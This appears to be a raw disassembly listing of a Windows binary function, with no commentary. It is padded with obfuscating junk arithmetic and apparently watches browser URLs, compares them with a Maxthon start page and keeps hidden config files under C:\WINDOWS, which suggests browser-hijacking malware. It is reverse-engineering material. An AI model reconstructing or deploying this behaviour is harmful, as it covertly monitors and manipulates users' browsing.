mov ecx, dword [0x456830]
mov eax, 0x2ff8513b
imul ecx, ecx, 0xdd7b
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, ecx
mov ecx, dword [0x456818]
imul ecx, ecx, 0x1558c
mov eax, 0x47298a5
imul esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
add edi, ecx
mov ecx, dword [0x456820]
sub edi, eax
mov eax, 0x395bd985
imul ecx
sar edx, 0xd
mov ecx, edx
add edi, edx
shr ecx, 0x1f
add ecx, edi
mov edi, dword [0x456828]
mov eax, 0x49f9945f
imul edi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [0x456818], ecx
imul ecx, ecx, 0xd534
sub ecx, eax
mov edx, edi
imul edx, edx, 0x15410
add ecx, edx
mov eax, 0x302debc5
imul edi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x3e12562b
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10d8]
lea edx, [ebp - 0x10f4]
push edx
mov dword [0x456834], ecx
mov ecx, dword [eax]
push eax
call dword [ecx + 0xa0]
mov eax, dword [ebp - 0x10f4]
push eax
call fcn.004201f0
mov ecx, dword [0x456820]
mov esi, dword [0x456818]
mov ebx, eax
imul esi, esi, 0x398f
mov eax, 0x18008403
imul ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x45682c]
mov eax, 0x3e12562b
imul ecx
mov edi, dword [0x456834]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x107f4
sub esi, eax
add esi, edx
sub esi, edi
sub esi, 0x1558c
test ebx, ebx
mov dword [0x456820], esi
je 0x41cc14
mov edi, 0x447324
mov esi, ebx
mov ecx, 0xc
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x41cc0e
mov ecx, dword [0x456838]
mov eax, 0x246e57b5
imul ecx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, dword [0x45681c]
mov edx, ecx
imul eax, eax, 0xd534
imul edx, edx, 0x1558c
sub esi, edx
mov edx, dword [0x456824]
add esi, eax
mov eax, 0x302debc5
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x61082f49
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
push 1
mov dword [0x456828], esi
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10d8]
mov edx, dword [eax]
lea ecx, [ebp - 0x10f4]
push ecx
push eax
call dword [edx + 0xa0]
mov edx, dword [ebp - 0x10f4]
push edx
call fcn.004201f0
mov ebx, eax
mov ecx, dword [0x45682c]
mov esi, dword [0x456824]
imul ecx, ecx, 0x1558c
imul esi, esi, 0xffffc9ca
sub esi, ecx
mov ecx, dword [0x45681c]
mov eax, 0x18008403
imul ecx
mov ecx, dword [0x456828]
sar edx, 0xc
imul ecx, ecx, 0x8ed2
mov eax, edx
shr eax, 0x1f
add eax, edx
push 4
sub esi, eax
add esi, ecx
push str.http
push ebx
mov dword [0x456830], esi
call fcn.0042b4c0
add esp, 0xc
test eax, eax
je 0x41cdc4
push 4
push str.HTTP
push ebx
call fcn.0042b4c0
add esp, 0xc
test eax, eax
je 0x41cdc4
push 4
push str.www.
push ebx
call fcn.0042b4c0
add esp, 0xc
test eax, eax
je 0x41cdc4
push 4
push str.WWW.
push ebx
call fcn.0042b4c0
add esp, 0xc
test eax, eax
je 0x41cdc4
push str.http:
push ebx
call fcn.0042adb0
add esp, 8
test eax, eax
jne 0x41cd01
push str.HTTP:
push ebx
call fcn.0042adb0
add esp, 8
test eax, eax
jne 0x41cd01
push str.www.
push ebx
call fcn.0042adb0
add esp, 8
test eax, eax
jne 0x41cd01
push str.WWW.
push ebx
call fcn.0042adb0
add esp, 8
test eax, eax
je 0x41cdc4
mov ecx, dword [0x45682c]
mov esi, dword [0x456834]
mov eax, 0x99b19d5b
imul esi, esi, 0x1558c
imul ecx
add edx, ecx
mov ecx, dword [0x456820]
sar edx, 0xf
imul ecx, ecx, 0xab36
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, esi
sub edi, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x395bd985
imul ecx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
push str.http:
push ebx
mov dword [0x456838], edi
call fcn.0042adb0
add esp, 8
test eax, eax
je 0x41cd70
push str.http:
jmp 0x41cdb9
push str.HTTP:
push ebx
call fcn.0042adb0
add esp, 8
test eax, eax
je 0x41cd89
push str.HTTP:
jmp 0x41cdb9
push str.www.
push ebx
call fcn.0042adb0
add esp, 8
test eax, eax
je 0x41cda2
push str.www.
jmp 0x41cdb9
push str.WWW.
push ebx
call fcn.0042adb0
add esp, 8
test eax, eax
je 0x41cdc4
push str.WWW.
push ebx
call fcn.0042adb0
add esp, 8
mov ebx, eax
mov eax, 0x49f9945f
imul dword [0x45681c]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x10e8], eax
mov eax, 0x302debc5
imul dword [0x456824]
sar edx, 0xe
mov edi, dword [0x456830]
mov eax, edx
imul edi, edi, 0xa8da
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, dword [ebp - 0x10e8]
sub esi, eax
mov ecx, dword [0x456838]
imul ecx, ecx, 0xe0dd
mov eax, 0x3e12562b
imul dword [0x456824]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov edx, dword [0x447c74]
xor eax, eax
mov dword [ebp - 0x1100], ecx
add esi, edi
add esi, ecx
mov dword [ebp - 0x10d0], edi
mov byte [ebp - 0x8c4], 0
mov ecx, 0xff
lea edi, [ebp - 0x8c3]
rep stosd dword es:[edi], eax
mov ecx, dword [str.fdfdadsafdfghfjkt]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x447c78]
mov dword [ebp - 0x4c4], ecx
mov ecx, dword [0x447c7c]
mov dword [ebp - 0x4bc], eax
mov dword [ebp - 0x4c0], edx
mov dx, word [0x447c80]
xor eax, eax
mov dword [ebp - 0x4b8], ecx
mov word [ebp - 0x4b4], dx
mov ecx, 0x7b
lea edi, [ebp - 0x4b2]
rep stosd dword es:[edi], eax
mov ecx, dword [0x45681c]
stosw word es:[edi], ax
mov eax, 0x99b19d5b
imul ecx
add edx, ecx
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x302debc5
imul dword [0x456838]
sar edx, 0xe
mov eax, edx
add ecx, edx
mov edx, dword [ebp - 0x1100]
shr eax, 0x1f
add eax, ecx
mov ecx, dword [ebp - 0x10d0]
sub eax, edx
sub eax, esi
lea edx, [eax + ecx + 0xaaa7]
mov eax, ebx
mov dword [str._r_____r____], esi
mov dword [0x45681c], edx
lea esi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41cf00
sub eax, esi
mov dword [ebp - 0x10e8], eax
je 0x41d03e
push str.http:__
push ebx
call fcn.0042adb0
add esp, 8
test eax, eax
jne 0x41d029
push str.HTTP:__
push ebx
call fcn.0042adb0
add esp, 8
test eax, eax
jne 0x41d029
push str.www.
push ebx
call fcn.0042adb0
add esp, 8
test eax, eax
jne 0x41d029
push str.WWW.
push ebx
call fcn.0042adb0
add esp, 8
test eax, eax
jne 0x41d029
push str..COM
push ebx
call fcn.0042adb0
add esp, 8
test eax, eax
jne 0x41d029
push str..com
push ebx
call fcn.0042adb0
add esp, 8
test eax, eax
jne 0x41d029
push str..NET
push ebx
call fcn.0042adb0
add esp, 8
test eax, eax
jne 0x41d029
push str..net
push ebx
call fcn.0042adb0
add esp, 8
test eax, eax
jne 0x41d029
push str..ORG
push ebx
call fcn.0042adb0
add esp, 8
test eax, eax
jne 0x41d029
push str..org
push ebx
call fcn.0042adb0
add esp, 8
test eax, eax
jne 0x41d029
push 0x447c2c
push ebx
call fcn.0042adb0
add esp, 8
test eax, eax
jne 0x41d029
push 0x447c28
push ebx
call fcn.0042adb0
add esp, 8
test eax, eax
jne 0x41d029
push str..htm
push ebx
call fcn.0042adb0
add esp, 8
test eax, eax
jne 0x41d029
push str..HTM
push ebx
call fcn.0042adb0
add esp, 8
test eax, eax
je 0x41d03e
push ebx
lea eax, [ebp - 0x4c4]
push str.__s_
push eax
call fcn.0042a311
add esp, 0xc
mov ecx, dword [0x456838]
mov esi, dword [0x456824]
imul ecx, ecx, 0xe0dd
mov eax, 0x49f9945f
imul dword [0x45681c]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x302debc5
imul esi
mov eax, dword [0x456830]
imul eax, eax, 0xa8da
sar edx, 0xe
add ecx, edx
mov edi, edx
shr edi, 0x1f
add edi, ecx
add edi, eax
mov eax, 0x3e12562b
imul esi
sar edx, 0xe
mov ecx, edx
push str.C:WINDOWS_system_sdax.txt
shr ecx, 0x1f
push 0x400
add ecx, edx
lea edx, [ebp - 0x8c4]
push edx
push 0x446e15
push str.rtgbh
sub edi, ecx
push str.asdf
mov dword [str._r_____r____], edi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test ebx, ebx
je 0x41d1f4
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41d0d3
sub eax, edx
mov dword [ebp - 0x10e8], eax
je 0x41d1f4
mov edi, 0x447324
mov esi, ebx
mov ecx, 0xc
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x41d1f4
lea ecx, [ebp - 0x144]
push ecx
push ebx
call fcn.0042adb0
add esp, 8
test eax, eax
jne 0x41d17b
lea edx, [ebp - 0x144]
push ebx
push edx
call fcn.0042adb0
add esp, 8
test eax, eax
jne 0x41d17b
mov edi, str.http:__i.maxthon.cn_
mov esi, ebx
lea ecx, [ecx]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x41d158
test al, al
je 0x41d154
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x41d158
add esi, 2
add edi, 2
test al, al
jne 0x41d130
xor eax, eax
jmp 0x41d15d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x41d17b
lea eax, [ebp - 0x4c4]
push eax
lea ecx, [ebp - 0x8c4]
push ecx
call fcn.0042adb0
add esp, 8
test eax, eax
je 0x41d18f
lea edx, [ebp - 0x1c4]
push edx
push ebx
call fcn.0042adb0
add esp, 8
test eax, eax
je 0x41d1f4
mov edx, dword [0x456820]
mov edi, dword [0x456818]
mov eax, 0x18008403
imul edx
sar edx, 0xc
mov ecx, edi
imul ecx, ecx, 0x398f
mov esi, dword [str._r_____r____]
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x3e12562b
imul dword [0x45682c]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0x107f4
sub ecx, eax
add ecx, edx
sub ecx, dword [0x456834]
sub ecx, 0x1558c
mov dword [0x456820], ecx
jmp 0x41d29a
push 0
call fcn.0042a947
mov ecx, dword [0x456838]
mov dword [0x56a654], eax
mov eax, 0x246e57b5
imul ecx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, dword [0x45681c]
mov edx, ecx
imul eax, eax, 0xd534
imul edx, edx, 0x1558c
sub esi, edx
mov edx, dword [0x456824]
add esi, eax
mov eax, 0x302debc5
imul edx
sar edx, 0xe
mov ebx, dword [0x56a650]
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x61082f49
imul ecx
mov eax, dword [ebp - 0x10d8]
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
add esp, 4
sub esi, ecx
mov ecx, dword [ebp - 0x10f8]
push ecx
inc ebx
mov dword [0x456828], esi
mov edx, dword [eax]
push eax
mov dword [0x56a650], ebx
call dword [edx + 0x9c]
mov esi, dword [str._r_____r____]
mov edi, dword [0x456818]
mov ecx, dword [0x456820]
mov ebx, dword [0x456830]
imul edi, edi, 0x1558c
mov eax, 0x2ff8513b
imul ebx, ebx, 0xdd7b
imul dword [0x456834]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
add eax, edi
mov ebx, eax
mov eax, 0x47298a5
imul dword [0x456834]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x395bd985
imul ecx
sar edx, 0xd
mov ecx, edx
add ebx, edx
shr ecx, 0x1f
add ecx, ebx
mov ebx, dword [ebp - 0x10dc]
test ebx, ebx
mov dword [0x456818], ecx
je 0x41d838
mov edi, ebx
lea edx, [edi + 1]
lea ebx, [ebx]
mov al, byte [edi]
inc edi
test al, al
jne 0x41d310
sub edi, edx
mov dword [ebp - 0x10dc], edi
je 0x41d838
mov edi, dword [0x45682c]
imul esi, esi, 0x15410
imul ecx, ecx, 0xa8da
mov eax, 0x99b19d5b
imul edi
add edx, edi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456828]
imul edx, edx, 0x398f
sub esi, eax
add edx, dword [0x456830]
add edx, esi
lea eax, [ecx + edx - 0x1558c]
push 0xffffffffffffffff
push 0x55a230
lea ecx, [ebp - 0x113c]
mov dword [0x456824], eax
call fcn.00405b60
mov edx, dword [0x45682c]
mov ecx, dword [0x456824]
imul edx, edx, 0x1558c
imul ecx, ecx, 0xffffc9ca
sub ecx, edx
mov eax, 0x18008403
imul dword [0x45681c]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456828]
imul edx, edx, 0x8ed2
sub ecx, eax
add ecx, edx
mov byte [ebp - 4], 7
mov dword [0x456830], ecx
mov edi, 0x559a28
mov esi, ebx
mov edi, edi
mov dl, byte [esi]
mov al, dl
cmp dl, byte [edi]
jne 0x41d3f4
test al, al
je 0x41d3f0
mov dl, byte [esi + 1]
mov al, dl
cmp dl, byte [edi + 1]
jne 0x41d3f4
add esi, 2
add edi, 2
test al, al
jne 0x41d3d0
xor eax, eax
jmp 0x41d3f9
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x41d823
mov edi, dword [0x456838]
imul ecx, ecx, 0xa8da
mov eax, 0x99b19d5b
imul dword [0x45681c]
add edx, dword [0x45681c]
mov esi, edi
imul esi, esi, 0xe0dd
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, esi
mov dword [ebp - 0x10dc], eax
mov eax, 0x302debc5
imul edi
mov eax, dword [ebp - 0x10dc]
sar edx, 0xe
mov esi, edx
shr esi, 0x1f
add eax, edx
add esi, eax
add esi, ecx
sub esi, dword [str._r_____r____]
add esi, 0xaaa7
mov eax, ebx
mov dword [0x45681c], esi
lea ecx, [eax + 1]
lea ebx, [ebx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x41d470
sub eax, ecx
cmp eax, 0x800
jae 0x41d493
mov ecx, ebx
mov edx, 0x559a28
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x41d487
jmp 0x41d507
mov eax, 0x246e57b5
imul esi, esi, 0xd534
imul edi
sar edx, 0xd
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, edi
imul edx, edx, 0x1558c
sub ecx, edx
mov eax, 0x302debc5
imul dword [0x456824]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
add ecx, esi
sub ecx, eax
mov eax, 0x61082f49
imul edi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
push 0x7ff
mov dword [0x456828], ecx
xor eax, eax
push ebx
mov ecx, 0x200
mov edi, 0x559a28
push 0x559a28
rep stosd dword es:[edi], eax
call fcn.0042b390
add esp, 0xc
mov ecx, dword [0x456828]
mov esi, dword [0x456818]
mov eax, 0x49f9945f
imul esi, esi, 0xd534
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x15410
sub esi, eax
add esi, edx
mov eax, 0x302debc5
imul ecx
mov ecx, dword [0x456834]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x3e12562b
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov eax, 0x559128
mov dword [0x456834], esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41d570
sub eax, edx
cmp eax, 5
jbe 0x41d823
push str.ConfigL6
push ebx
call fcn.00404290
add esp, 8
test eax, eax
jne 0x41d823
mov ecx, dword [0x45682c]
mov esi, dword [0x456834]
mov eax, 0x99b19d5b
imul esi, esi, 0x1558c
imul ecx
add edx, ecx
mov ecx, dword [0x456820]
sar edx, 0xf
imul ecx, ecx, 0xab36
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, esi
sub edi, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x395bd985
imul ecx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
push 0x132b600
mov dword [0x456838], edi
call sym.CallDll.exe_int___cdecl_pro_cess3_int_
add esp, 4
xor esi, esi
lea ecx, [ecx]
cmp esi, 0x64
jge 0x41d697
mov ecx, dword [0x45681c]
mov edi, dword [0x456838]
mov eax, 0x49f9945f
imul edi, edi, 0xe0dd
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x456824]
mov eax, 0x302debc5
imul ecx
sar edx, 0xe
mov ebx, edx
add edi, edx
mov edx, dword [0x456830]
imul edx, edx, 0xa8da
shr ebx, 0x1f
add ebx, edi
add ebx, edx
mov eax, 0x3e12562b
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
push 0x64
mov dword [str._r_____r____], ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x559128
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41d680
sub eax, edx
mov dword [ebp - 0x10dc], eax
je 0x41d697
inc esi
jmp 0x41d600
mov ecx, dword [0x45681c]
mov esi, dword [0x456838]
mov eax, 0x99b19d5b
imul ecx
add edx, ecx
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x302debc5
imul esi
mov edi, esi
imul edi, edi, 0xe0dd
sar edx, 0xe
sub ecx, edi
mov eax, edx
add ecx, edx
mov edx, dword [str._r_____r____]
shr eax, 0x1f
add eax, ecx
mov ecx, dword [0x456830]
imul ecx, ecx, 0xa8da
push str.C:WINDOWS_system32driversetc_service5.ini
add eax, ecx
push 0x800
sub eax, edx
lea edx, [ebp - 0x10c4]
push edx
push 0x446e15
push str.ConfigL5
add eax, 0xaaa7
push str.GameType1
mov dword [0x45681c], eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov ecx, dword [0x45682c]
mov eax, 0x99b19d5b
imul ecx
mov ebx, dword [0x456830]
add edx, ecx
mov ecx, dword [str._r_____r____]
sar edx, 0xf
imul ecx, ecx, 0x15410
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456828]
sub ecx, eax
imul edx, edx, 0x398f
mov eax, dword [0x456818]
imul eax, eax, 0xa8da
add edx, ebx
add edx, ecx
lea ecx, [eax + edx - 0x1558c]
lea edx, [ebp - 0x10c4]
push edx
mov dword [0x456824], ecx
call fcn.0042a942
inc eax
push eax
lea eax, [ebp - 0x10c4]
push 0x446b00
push eax
call fcn.0042a311
add esp, 0x10
push str.C:WINDOWS_system32driversetc_service5.ini
lea ecx, [ebp - 0x10c4]
push ecx
push str.ConfigL5
push str.GameType1
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov ecx, dword [0x456820]
mov edx, dword [0x45682c]
imul edx, edx, 0x1558c
mov esi, ecx
imul esi, esi, 0xdd7b
add esi, edx
mov edx, dword [0x45681c]
mov eax, 0x47298a5
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
imul edx, edx, 0x8ed2
sub esi, eax
add esi, edx
mov eax, 0x3e12562b
imul ecx
sar edx, 0xe
mov eax, edx
add esi, edx
shr eax, 0x1f
add eax, esi
mov esi, dword [0x559120]
inc esi
push 0
mov dword [0x45682c], eax
mov dword [0x559120], esi
call fcn.0042a947
add esp, 4
mov dword [0x559124], eax
lea ecx, [ebp - 0x113c]
mov byte [ebp - 4], 6
call fcn.00405bf0
mov ecx, dword [0x456818]
mov esi, dword [0x456828]
imul ecx, ecx, 0xd534
mov eax, 0x49f9945f
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov edx, esi
imul edx, edx, 0x15410
add ecx, edx
mov eax, 0x302debc5
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x3e12562b
imul dword [0x456834]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
push ecx
mov dword [0x456834], ecx
mov ecx, dword [ebp - 0x10c8]
mov eax, esp
mov dword [eax], ecx
mov eax, dword [ebp - 0x10c8]
test eax, eax
mov dword [ebp - 0x10dc], esp
je 0x41d8b2
mov edx, dword [eax]
push eax
call dword [edx + 4]
mov ecx, 0x56a378
call fcn.00406990
mov ecx, dword [0x456834]
mov esi, dword [0x456830]
mov eax, 0x2ff8513b
imul esi, esi, 0xdd7b
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456818]
imul edx, edx, 0x1558c
mov edi, eax
sub edi, esi
add edi, edx
mov eax, 0x47298a5
imul ecx
mov ecx, dword [0x456820]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x395bd985
imul ecx
sar edx, 0xd
mov ecx, edx
add edi, edx
mov edx, dword [ebp - 0x10c8]
shr ecx, 0x1f
add ecx, edi
push 0
push edx
mov dword [0x456818], ecx
call fcn.00408720
mov ecx, dword [0x456820]
mov esi, dword [0x456818]
mov eax, 0x18008403
imul esi, esi, 0x398f
imul ecx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x3e12562b
imul dword [0x45682c]
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x107f4
sub esi, ecx
mov ecx, dword [0x456834]
add esi, edx
sub esi, ecx
add esp, 8
sub esi, 0x1558c
mov dword [0x456820], esi
mov esi, dword [0x456838]
mov eax, 0x246e57b5
imul esi
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, dword [0x45681c]
imul eax, eax, 0xd534
mov edx, esi
imul edx, edx, 0x1558c
sub ecx, edx
add ecx, eax
mov eax, 0x302debc5
imul dword [0x456824]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x61082f49
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov dword [0x456828], ecx
mov byte [ebp - 4], 5
je 0x41da06
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10e4]
test eax, eax
mov byte [ebp - 4], 4
je 0x41da1a
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10c8]
test eax, eax
mov byte [ebp - 4], 2
je 0x41da2e
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov byte [ebp - 4], 1
je 0x41da42
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10fc]
mov esi, dword [0x456830]
mov edi, dword [0x456838]
inc eax
mov dword [ebp - 0x10fc], eax
mov ecx, eax
jmp 0x41bb04
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov byte [ebp - 4], 0
je 0x41da76
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [0x45682c]
mov ecx, dword [0x456824]
imul eax, eax, 0x1558c
imul ecx, ecx, 0xffffc9ca
sub ecx, eax
mov eax, 0x18008403
imul dword [0x45681c]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [0x456828]
imul eax, eax, 0x8ed2
add ecx, eax
mov eax, dword [ebp - 0x1104]
mov dword [0x456830], ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.0042a141
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret